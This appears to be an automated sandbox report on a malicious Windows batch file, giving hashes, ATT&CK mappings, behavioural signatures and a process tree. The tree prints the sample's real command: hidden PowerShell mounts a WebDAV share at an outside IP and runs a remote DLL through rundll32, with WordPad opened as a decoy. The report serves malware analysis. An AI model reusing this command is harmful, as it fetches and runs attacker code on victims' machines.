c6391898baa99b228d56e5da853de745712caf1dbee41c30cf84dab3b7c3696a

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13-07-2024 08:53

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General

Target

2924319350854329921.bat
Size

2KB
MD5

bd8b2f3ab70e09aec59621b3911cbd98
SHA1

90862ce8c976453e50edabbd9b38134bca7345dc
SHA256

c6391898baa99b228d56e5da853de745712caf1dbee41c30cf84dab3b7c3696a
SHA512

cff6e643163ebf192af8236ba74a5f5eae5328551230b7a19b83c440f1fcb46683c651868bcbc5a7a93618c3e0547cd396e734872df044655fafb5d0b5ee2dfb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2100	wordpad.exe
2100	wordpad.exe
2100	wordpad.exe
2100	wordpad.exe
2100	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 600 wrote to memory of 2100	600	cmd.exe	31
PID 600 wrote to memory of 2100	600	cmd.exe	31
PID 600 wrote to memory of 2100	600	cmd.exe	31
PID 600 wrote to memory of 2684	600	cmd.exe	32
PID 600 wrote to memory of 2684	600	cmd.exe	32
PID 600 wrote to memory of 2684	600	cmd.exe	32
PID 2684 wrote to memory of 2868	2684	powershell.exe	34
PID 2684 wrote to memory of 2868	2684	powershell.exe	34
PID 2684 wrote to memory of 2868	2684	powershell.exe	34
PID 2684 wrote to memory of 2748	2684	powershell.exe	35
PID 2684 wrote to memory of 2748	2684	powershell.exe	35
PID 2684 wrote to memory of 2748	2684	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2924319350854329921.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:600
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1872.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2868
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1872.dll entry
    3⤵
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/600-16-0x00000000023A0000-0x00000000024A0000-memory.dmp

Filesize
1024KB

Download
memory/2684-21-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2684-22-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download